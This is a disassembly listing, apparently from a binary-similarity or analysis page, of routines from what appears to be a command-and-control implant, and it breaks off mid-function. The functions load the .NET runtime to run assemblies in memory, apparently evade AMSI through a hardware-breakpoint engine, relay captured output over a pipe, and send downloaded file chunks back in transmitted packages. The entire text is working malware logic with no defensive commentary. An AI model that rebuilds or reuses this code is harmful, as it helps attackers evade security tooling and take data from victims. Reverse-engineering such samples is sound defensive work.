Similarity

140011b70
140011b70DotnetClose:
140011b70push rbp
140011b71push rdi
140011b72push rsi
140011b73push rbx
140011b74sub rsp, 40
140011b78mov rbx, [rip+0x1a7f1]
140011b7fcmp [rbx+223], 1
140011b86jne 0x140011b8f
140011b88xor ecx, ecx
140011b8acall HwBpEngineDestroy
140011b8f
140011b8floc_140011b8f:
140011b8fmov rax, [rbx+2266]
140011b96mov rcx, [rax+104]
140011b9atest rcx, rcx
140011b9dje 0x140011ba4
140011b9fcall SysNtClose
140011ba4
140011ba4loc_140011ba4:
140011ba4mov rax, [rbx+2266]
140011babmov rcx, [rax+72]
140011baftest rcx, rcx
140011bb2je 0x140011bb9
140011bb4call SysNtClose
140011bb9
140011bb9loc_140011bb9:
140011bb9mov rax, [rbx+2266]
140011bc0mov rcx, [rax+80]
140011bc4test rcx, rcx
140011bc7je 0x140011bce
140011bc9call SysNtClose
140011bce
140011bceloc_140011bce:
140011bcemov rax, [rbx+2266]
140011bd5mov rdi, [rax+264]
140011bdctest rdi, rdi
140011bdfje 0x140011c0f
140011be1mov ecx, 1232
140011be6xor eax, eax
140011be8rep stosb [rdi], al
140011beamov rax, [rbx+2266]
140011bf1mov rcx, [rax+264]
140011bf8call [rbx+940]
140011bfemov rax, [rbx+2266]
140011c05xor r8l, r8l
140011c08mov [rax+264], r8
140011c0f
140011c0floc_140011c0f:
140011c0fmov rax, [rbx+2266]
140011c16mov rdi, [rax+272]
140011c1dtest rdi, rdi
140011c20je 0x140011c4f
140011c22mov ecx, 1232
140011c27xor eax, eax
140011c29rep stosb [rdi], al
140011c2bmov rax, [rbx+2266]
140011c32mov rcx, [rax+272]
140011c39call [rbx+940]
140011c3fmov rax, [rbx+2266]
140011c46xor ecx, ecx
140011c48mov [rax+272], rcx
140011c4f
140011c4floc_140011c4f:
140011c4fmov rax, [rbx+2266]
140011c56mov rdi, [rax+280]
140011c5dtest rdi, rdi
140011c60je 0x140011c8f
140011c62mov ecx, 1232
140011c67xor eax, eax
140011c69rep stosb [rdi], al
140011c6bmov rax, [rbx+2266]
140011c72mov rcx, [rax+280]
140011c79call [rbx+940]
140011c7fmov rax, [rbx+2266]
140011c86xor edx, edx
140011c88mov [rax+280], rdx
140011c8f
140011c8floc_140011c8f:
140011c8fmov rax, [rbx+2266]
140011c96mov rdi, [rax+288]
140011c9dtest rdi, rdi
140011ca0je 0x140011ccf
140011ca2mov ecx, 1232
140011ca7xor eax, eax
140011ca9rep stosb [rdi], al
140011cabmov rax, [rbx+2266]
140011cb2xor ebp, ebp
140011cb4mov rcx, [rax+288]
140011cbbcall [rbx+940]
140011cc1mov rax, [rbx+2266]
140011cc8mov [rax+288], rbp
140011ccf
140011ccfloc_140011ccf:
140011ccflea rbp, [rip+0x1aaea]
140011cd6lea rsi, [rip+0x15979]
140011cddmov r8l, 445
140011ce3lea r9, [rip+0x15960]
140011ceamov rdx, rbp
140011cedmov rcx, rsi
140011cf0call printf
140011cf5mov rax, [rbx+2266]
140011cfcmov rdi, [rax+56]
140011d00test rdi, rdi
140011d03je 0x140011d2a
140011d05mov ecx, [rax+64]
140011d08xor eax, eax
140011d0arep stosb [rdi], al
140011d0cmov rax, [rbx+2266]
140011d13xor edi, edi
140011d15mov rcx, [rax+56]
140011d19call [rbx+940]
140011d1fmov rax, [rbx+2266]
140011d26mov [rax+56], rdi
140011d2a
140011d2aloc_140011d2a:
140011d2amov rcx, rsi
140011d2dlea r9, [rip+0x15936]
140011d34mov r8l, 453
140011d3amov rdx, rbp
140011d3dcall printf
140011d42mov rax, [rbx+2266]
140011d49mov rcx, [rax+144]
140011d50test rcx, rcx
140011d53je 0x140011d6b
140011d55call [rbx+1324]
140011d5bmov rax, [rbx+2266]
140011d62xor esi, esi
140011d64mov [rax+144], rsi
140011d6b
140011d6bloc_140011d6b:
140011d6bmov rax, [rbx+2266]
140011d72mov rcx, [rax+200]
140011d79test rcx, rcx
140011d7cje 0x140011d95
140011d7emov rax, [rcx]
140011d81call [rax+16]
140011d84mov rax, [rbx+2266]
140011d8bxor r11l, r11l
140011d8emov [rax+200], r11
140011d95
140011d95loc_140011d95:
140011d95mov rax, [rbx+2266]
140011d9cmov rcx, [rax+176]
140011da3test rcx, rcx
140011da6je 0x140011dbf
140011da8mov rax, [rcx]
140011dabcall [rax+16]
140011daemov rax, [rbx+2266]
140011db5xor r10l, r10l
140011db8mov [rax+176], r10
140011dbf
140011dbfloc_140011dbf:
140011dbfmov rax, [rbx+2266]
140011dc6mov rcx, [rax+192]
140011dcdtest rcx, rcx
140011dd0je 0x140011de9
140011dd2mov rax, [rcx]
140011dd5call [rax+16]
140011dd8mov rax, [rbx+2266]
140011ddfxor r9l, r9l
140011de2mov [rax+192], r9
140011de9
140011de9loc_140011de9:
140011de9mov rax, [rbx+2266]
140011df0mov rcx, [rax+184]
140011df7test rcx, rcx
140011dfaje 0x140011e02
140011dfcmov rax, [rcx]
140011dffcall [rax+16]
140011e02
140011e02loc_140011e02:
140011e02mov rax, [rbx+2266]
140011e09mov rcx, [rax+168]
140011e10test rcx, rcx
140011e13je 0x140011e4a
140011e15mov rdx, [rax+184]
140011e1cmov rax, [rcx]
140011e1fcall [rax+160]
140011e25mov rax, [rbx+2266]
140011e2cmov rcx, [rax+168]
140011e33mov rax, [rcx]
140011e36call [rax+88]
140011e39mov rax, [rbx+2266]
140011e40xor r8l, r8l
140011e43mov [rax+168], r8
140011e4a
140011e4aloc_140011e4a:
140011e4amov rax, [rbx+2266]
140011e51mov rcx, [rax+160]
140011e58test rcx, rcx
140011e5bje 0x140011e73
140011e5dmov rax, [rcx]
140011e60call [rax+16]
140011e63mov rax, [rbx+2266]
140011e6axor ecx, ecx
140011e6cmov [rax+160], rcx
140011e73
140011e73loc_140011e73:
140011e73mov rax, [rbx+2266]
140011e7amov rcx, [rax+152]
140011e81test rcx, rcx
140011e84je 0x140011e9c
140011e86mov rax, [rcx]
140011e89call [rax+16]
140011e8cmov rax, [rbx+2266]
140011e93xor edx, edx
140011e95mov [rax+152], rdx
140011e9c
140011e9cloc_140011e9c:
140011e9cmov rax, [rbx+2266]
140011ea3mov rcx, [rax+96]
140011ea7test rcx, rcx
140011eaaje 0x140011ec3
140011eacxor edx, edx
140011eaecall SysNtTerminateThread
140011eb3mov rax, [rbx+2266]
140011ebamov rcx, [rax+96]
140011ebecall SysNtClose
140011ec3
140011ec3loc_140011ec3:
140011ec3mov rax, [rbx+2266]
140011ecamov rcx, [rax+112]
140011ecetest rcx, rcx
140011ed1je 0x140011ed8
140011ed3call SysNtClose
140011ed8
140011ed8loc_140011ed8:
140011ed8mov rdi, [rbx+2266]
140011edftest rdi, rdi
140011ee2je 0x140011f14
140011ee4mov ecx, 296
140011ee9xor eax, eax
140011eebrep stosb [rdi], al
140011eedmov rax, [rbx+2230]
140011ef4mov r8, [rbx+2266]
140011efbxor edx, edx
140011efdmov rax, [rax+96]
140011f01mov rcx, [rax+48]
140011f05call [rbx+332]
140011f0bxor eax, eax
140011f0dmov [rbx+2266], rax
140011f14
140011f14loc_140011f14:
140011f14add rsp, 40
140011f18pop rbx
140011f19pop rsi
140011f1apop rdi
140011f1bpop rbp
140011f1cret
140011b70

140011f1d
140011f1d // align 0x10

140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20

1400126b4
1400126b4 // align 0x10

1400126c0
1400126c0DotnetPush:
1400126c0push rbx
1400126c1sub rsp, 32
1400126c5mov rbx, [rip+0x19ca4]
1400126ccmov rax, [rbx+2266]
1400126d3test rax, rax
1400126d6je 0x14001272e
1400126d8cmp [rax+256], 0
1400126dflea r9, [rip+0x14f9d]
1400126e6lea rax, [rip+0x14f91]
1400126edmov r8l, 369
1400126f3cmovne r9, rax
1400126f7lea rdx, [rip+0x1a572]
1400126felea rcx, [rip+0x14f84]
140012705call printf
14001270amov rax, [rbx+2266]
140012711cmp [rax+256], 0
140012718je 0x14001272e
14001271acall DotnetPushPipe
14001271fcall DotnetPushPipe
140012724add rsp, 32
140012728pop rbx
140012729jmp 0x140011b70
14001272e
14001272eloc_14001272e:
14001272eadd rsp, 32
140012732pop rbx
140012733ret
1400126c0

140012734
140012734 // align 0x10

140012740
140012740DotnetPushPipe:
140012740push rdi
140012741xor r11l, r11l
140012744push rbx
140012745sub rsp, 72
140012749mov rbx, [rip+0x19c20]
140012750mov [rsp+56], r11l
140012755mov rax, [rbx+2266]
14001275cmov [rsp+60], r11l
140012761test rax, rax
140012764je 0x140012894
14001276amov rcx, [rax+72]
14001276exor r10l, r10l
140012771lea rax, [rsp+56]
140012776xor r9l, r9l
140012779xor r8l, r8l
14001277cxor edx, edx
14001277emov [rsp+40], r10
140012783mov [rsp+32], rax
140012788call [rbx+860]
14001278etest eax, eax
140012790je 0x140012894
140012796mov r9l, [rsp+56]
14001279bmov r8l, 340
1400127a1lea rdx, [rip+0x1a7e8]
1400127a8lea rcx, [rip+0x14e81]
1400127afcall printf
1400127b4mov r8l, [rsp+56]
1400127b9test r8l, r8l
1400127bcje 0x140012894
1400127c2mov rax, [rbx+2230]
1400127c9mov rdi, [rbx+2266]
1400127d0mov edx, 8
1400127d5mov rax, [rax+96]
1400127d9mov [rdi+64], r8l
1400127ddmov rcx, [rax+48]
1400127e1call [rbx+316]
1400127e7xor r9l, r9l
1400127eamov [rdi+56], rax
1400127eemov rax, [rbx+2266]
1400127f5mov r8l, [rax+64]
1400127f9mov rdx, [rax+56]
1400127fdmov rcx, [rax+72]
140012801mov [rsp+32], r9
140012806lea r9, [rsp+60]
14001280bcall [rbx+916]
140012811mov edx, [rsp+60]
140012815mov ecx, 90
14001281amov rax, [rbx+2266]
140012821mov [rax+64], edx
140012824mov edx, [rax]
140012826call PackageCreateWithRequestID
14001282bmov rdi, rax
14001282emov rax, [rbx+2266]
140012835mov rcx, rdi
140012838mov rdx, [rax+56]
14001283cmov r8l, [rax+64]
140012840call PackageAddBytes
140012845mov rcx, rdi
140012848call PackageTransmit
14001284dmov rax, [rbx+2266]
140012854mov rdi, [rax+56]
140012858test rdi, rdi
14001285bje 0x140012894
14001285dmov ecx, [rsp+56]
140012861xor eax, eax
140012863rep stosb [rdi], al
140012865mov rdx, [rbx+2230]
14001286cmov rax, [rbx+2266]
140012873mov rdx, [rdx+96]
140012877mov r8, [rax+56]
14001287bmov rcx, [rdx+48]
14001287fxor edx, edx
140012881call [rbx+332]
140012887mov rax, [rbx+2266]
14001288exor edx, edx
140012890mov [rax+56], rdx
140012894
140012894loc_140012894:
140012894add rsp, 72
140012898pop rbx
140012899pop rdi
14001289aret
140012740

14001289b
14001289b // align 0x10

1400128a0
1400128a0DownloadAdd:
1400128a0push rbp
1400128a1mov r8l, 56
1400128a7mov rbp, rcx
1400128aapush rdi
1400128abmov rdi, rdx
1400128aemov edx, 8
1400128b3push rsi
1400128b4push rbx
1400128b5sub rsp, 40
1400128b9mov rsi, [rip+0x19ab0]
1400128c0mov rax, [rsi+2230]
1400128c7mov rax, [rax+96]
1400128cbmov rcx, [rax+48]
1400128cfcall [rsi+316]
1400128d5mov rbx, rax
1400128d8call RandomNumber32
1400128ddmov [rbx+8], rbp
1400128e1mov r9, rbx
1400128e4mov r8l, 21
1400128eamov [rbx], eax
1400128ecmov rax, [rsi+2310]
1400128f3lea rdx, [rip+0x1a9b6]
1400128falea rcx, [rip+0x1533f]
140012901mov [rbx+24], rdi
140012905mov [rbx+48], rax
140012909mov eax, [rsi+8]
14001290cmov [rbx+40], 1
140012913mov [rbx+16], eax
140012916mov [rsi+2310], rbx
14001291dcall printf
140012922add rsp, 40
140012926mov rax, rbx
140012929pop rbx
14001292apop rsi
14001292bpop rdi
14001292cpop rbp
14001292dret
1400128a0

14001292e
14001292e // align 0x10

140012930
140012930DownloadFree:
140012930push rdi
140012931push rbx
140012932mov rbx, rcx
140012935sub rsp, 40
140012939mov rcx, [rcx+8]
14001293dtest rcx, rcx
140012940je 0x140012947
140012942call SysNtClose
140012947
140012947loc_140012947:
140012947lea r9, [rip+0x1531c]
14001294emov r8l, 48
140012954mov rdi, rbx
140012957lea rdx, [rip+0x1a8a2]
14001295elea rcx, [rip+0x1531a]
140012965call printf
14001296amov ecx, 56
14001296fxor eax, eax
140012971rep stosb [rdi], al
140012973mov rax, [rip+0x199f6]
14001297amov r8, rbx
14001297dmov rdx, [rax+2230]
140012984mov rax, [rax+332]
14001298bmov rdx, [rdx+96]
14001298fmov rcx, [rdx+48]
140012993add rsp, 40
140012997xor edx, edx
140012999pop rbx
14001299apop rdi
14001299bjmp rax
140012930

14001299d
14001299d // align 0x10

1400129a0
1400129a0DownloadPush:
1400129a0push r14
1400129a2push r13
1400129a4lea r13, [rip+0x15358]
1400129abpush r12
1400129adlea r12, [rip+0x15468]
1400129b4push rbp
1400129b5lea rbp, [rip+0x1a5e4]
1400129bcpush rdi
1400129bdpush rsi
1400129bepush rbx
1400129bfsub rsp, 64
1400129c3mov rbx, [rip+0x199a6]
1400129camov rsi, [rbx+2310]
1400129d1mov rdi, [rbx+2250]
1400129d8test rsi, rsi
1400129dbjne 0x140012a1d
1400129ddtest rdi, rdi
1400129e0je 0x140012cc2
1400129e6mov ecx, [rbx+2258]
1400129ecxor eax, eax
1400129eerep stosb [rdi], al
1400129f0mov rax, [rbx+2230]
1400129f7mov r8, [rbx+2250]
1400129fexor edx, edx
140012a00mov rax, [rax+96]
140012a04mov rcx, [rax+48]
140012a08call [rbx+332]
140012a0exor r10l, r10l
140012a11mov [rbx+2250], r10
140012a18jmp 0x140012cc2
140012a1d
140012a1dloc_140012a1d:
140012a1dcmp [rbx+2250], 0
140012a25jne 0x140012a77
140012a27mov rax, [rbx+2230]
140012a2emov r8l, [rbx+244]
140012a35mov edx, 8
140012a3amov rax, [rax+96]
140012a3emov rcx, [rax+48]
140012a42call [rbx+316]
140012a48mov r8l, 129
140012a4emov rdx, rbp
140012a51lea rcx, [rip+0x15260]
140012a58mov [rbx+2250], rax
140012a5fmov r9, rax
140012a62mov eax, [rbx+244]
140012a68mov [rbx+2258], eax
140012a6emov [rsp+32], eax
140012a72call printf
140012a77
140012a77loc_140012a77:
140012a77mov r9, rsi
140012a7amov r8l, 132
140012a80mov rdx, rbp
140012a83mov rcx, r13
140012a86call printf
140012a8bcmp [rsi+40], 1
140012a8fjne 0x140012c36
140012a95mov r9l, [rsi]
140012a98xor eax, eax
140012a9amov r8l, 137
140012aa0mov rdx, rbp
140012aa3lea rcx, [rip+0x15277]
140012aaamov [rsp+60], eax
140012aaecall printf
140012ab3mov ecx, [rbx+2258]
140012ab9mov rdi, [rbx+2250]
140012ac0xor eax, eax
140012ac2rep stosb [rdi], al
140012ac4xor r9l, r9l
140012ac7mov r8l, [rbx+2258]
140012acemov rdx, [rbx+2250]
140012ad5mov rcx, [rsi+8]
140012ad9mov [rsp+32], r9
140012adelea r9, [rsp+60]
140012ae3call [rbx+916]
140012ae9test eax, eax
140012aebjne 0x140012b0d
140012aedmov rax, [rbx+2230]
140012af4mov r8l, 143
140012afamov rdx, rbp
140012afdlea rcx, [rip+0x1525f]
140012b04mov r9l, [rax+104]
140012b08call printf
140012b0d
140012b0dloc_140012b0d:
140012b0dmov edx, [rsp+60]
140012b11sub [rsi+24], rdx
140012b15add [rsi+32], rdx
140012b19test edx, edx
140012b1bje 0x140012bfc
140012b21lea r14, [rip+0x15157]
140012b28lea r9, [rip+0x15260]
140012b2fmov r8l, 151
140012b35mov rdx, rbp
140012b38mov rcx, r14
140012b3bcall printf
140012b40mov edx, [rsi+16]
140012b43mov ecx, 15
140012b48call PackageCreateWithRequestID
140012b4dmov edx, 2
140012b52mov rdi, rax
140012b55mov rcx, rax
140012b58call PackageAddInt32
140012b5dmov edx, 1
140012b62mov rcx, rdi
140012b65call PackageAddInt32
140012b6amov edx, [rsi]
140012b6cmov rcx, rdi
140012b6fcall PackageAddInt32
140012b74mov rdx, [rbx+2250]
140012b7bmov r8l, [rsp+60]
140012b80mov rcx, rdi
140012b83call PackageAddBytes
140012b88lea r9, [rip+0x15214]
140012b8fmov rdx, rbp
140012b92mov rcx, r14
140012b95mov r8l, 164
140012b9bcall printf
140012ba0mov rcx, rdi
140012ba3call PackageTransmit
140012ba8cmp [rsp+60], 0
140012badje 0x140012bfc
140012bafcmp [rsi+24], 0
140012bb4jne 0x140012bfc
140012bb6mov edx, [rsi+16]
140012bb9mov ecx, 15
140012bbecall PackageCreateWithRequestID
140012bc3mov edx, 2
140012bc8mov rdi, rax
140012bcbmov rcx, rax
140012bcecall PackageAddInt32
140012bd3mov edx, 2
140012bd8mov rcx, rdi
140012bdbcall PackageAddInt32
140012be0mov edx, [rsi]
140012be2mov rcx, rdi
140012be5call PackageAddInt32
140012beamov rcx, rdi
140012bedxor edx, edx
140012befcall PackageAddInt32
140012bf4mov rcx, rdi
140012bf7call PackageTransmit
140012bfc
140012bfcloc_140012bfc:
140012bfcmov r9l, [rsp+60]
140012c01mov rax, [rsi+24]
140012c05test r9l, r9l
140012c08je 0x140012c0f
140012c0atest rax, rax
140012c0djne 0x140012c36
140012c0f
140012c0floc_140012c0f:
140012c0fmov edx, [rsi]
140012c11mov [rsp+32], rax
140012c16mov r8l, 188
140012c1clea rcx, [rip+0x15198]
140012c23mov [rsp+40], edx
140012c27mov rdx, rbp
140012c2acall printf
140012c2fmov [rsi+40], 3
140012c36
140012c36loc_140012c36:
140012c36mov rax, [rsi+48]
140012c3amov r9, rsi
140012c3dmov r8l, 196
140012c43mov rdx, rbp
140012c46mov rcx, r12
